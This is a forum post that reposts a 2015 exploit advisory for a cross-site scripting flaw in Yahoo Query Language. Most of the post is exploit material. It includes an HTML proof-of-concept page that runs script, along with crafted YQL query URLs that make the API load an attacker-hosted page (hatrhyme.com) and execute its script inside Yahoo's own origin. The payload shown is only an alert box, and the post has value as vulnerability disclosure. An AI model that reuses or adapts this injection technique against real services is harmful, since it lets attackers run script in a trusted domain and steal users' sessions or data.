Jump to content
Aerosol

Yahoo Query Language Cross Site Scripting

Recommended Posts

/***********************************************************************************
** Exploit Title: Yahoo Query Language Cross Site Scripting
Vulnerability
**
** Exploit Author: Peyman D. aka C4T
**
** Vendor Homepage : http://query.yahooapis.com/
**
** Google Dork: none
**
** Date: 2015-03-08
**
** Tested on: Windows 7 / Mozila Firefox
**
************************************************************************************
** Exploit Code:
******************

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<span>Discovered by Peyman D.</span>
<span>aka C4T</span>
<script>
alert('Successfully Exploited');
</script>
</body>
</html>

************************************************************************************
Location & Vulnerable query:
******************

http://query.yahooapis.com/v1/public/yql?q= select * from html where
url='[attacker-website.com]/exploit.html' and xpath='html'

*************************************************************************************
** Proof:
******************

Executable script tag in API's own page:

Malicious source: http://hatrhyme.com/alert.html
Exploit query:
http://query.yahooapis.com/v1/public/yql?q= select * from html where
url='http://hatrhyme.com/alert.html' and xpath='html'

-------------------------------------------------------

Injecting HTML tags in API's own page:

Malicious source: http://hatrhyme.com/expl.html
Exploit query:
http://query.yahooapis.com/v1/public/yql?q= select * from html where
url='http://hatrhyme.com/expl.html' and xpath='html'

-------------------------------------------------------
******************************************************************************************
**
** Explanation and the cause of this vulnerability:
**
** http://hatrhyme.com/XSSInYQL.pdf
**
******************************************************************************************

Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...